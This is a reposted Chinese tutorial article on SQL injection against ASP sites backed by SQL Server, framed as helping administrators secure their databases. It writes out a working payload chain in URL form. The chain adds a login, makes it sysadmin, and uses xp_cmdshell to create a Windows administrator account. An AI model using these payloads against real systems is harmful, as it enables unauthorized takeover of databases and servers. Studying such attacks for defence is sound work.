您现在的位置:中国下载站学院中心数 据 库MySQL教程Mysql使用技巧 → 文章列表

SQL Server安全专题"SQL Server数据库的一些攻击

作者:佚名  来源:不详  发布时间:2007-4-14 12:28:50   

减小字体 增大字体

 
 
  编者:如何保障windows系统的安全,是我们一直在关注的问题;我们有专门的专题对这个话题进行讨论。

  这篇文章讲的虽然是很多已被人所熟知的攻击技巧,但是收集起来展示可以让我们对于SQL Server的安全配置有更好的认识,毕竟所有人都知道的漏洞就称不上是漏洞,最要命的是所有人都知道这个漏洞,惟独就你不知道,这样无疑是非常危险的。希望这篇文章的内容有助于SQL Server用户更好的保障数据库的安全。

  对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编 程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!

  这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变 量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....

  这种方法请求数据库,那么如果还用以上的例子就会

news.asp?id=2;exec sp_addlogin hax  

  变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...

  整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法

news.asp?id=2;exec sp_addlogin hax;--  

  后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!

  那么我们连一起来用吧

  news.asp?id=2;exec master.dbo.sp_addlogin hax;--

  news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--

  news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--

  news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

  news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--

转贴于:中国QQ站

  • 上一篇文章:MS SQL入门基础:创建触发器
  • 下一篇文章:SQL Server安全专题:SQL Server 2000的安全配置
  • 阅读统计:[]
  • 中国QQ站】【设为主页】【收藏本页】【打印本文】【回到顶部】【关闭此页

    相关文章
    文章评论(评论内容只代表网友观点,与本站立场无关!)

    用户名: 查看更多评论

    分 值:100分 85分 70分 55分 40分 25分 10分 0分

    内 容:

             (注“”为必填内容。) 验证码: 验证码,看不清楚?请点击刷新验证码


    设为首页 - 关于我们 - 广告服务 - 网站地图 - 加入收藏 - 网站声明 - 网站帮助 - 友情链接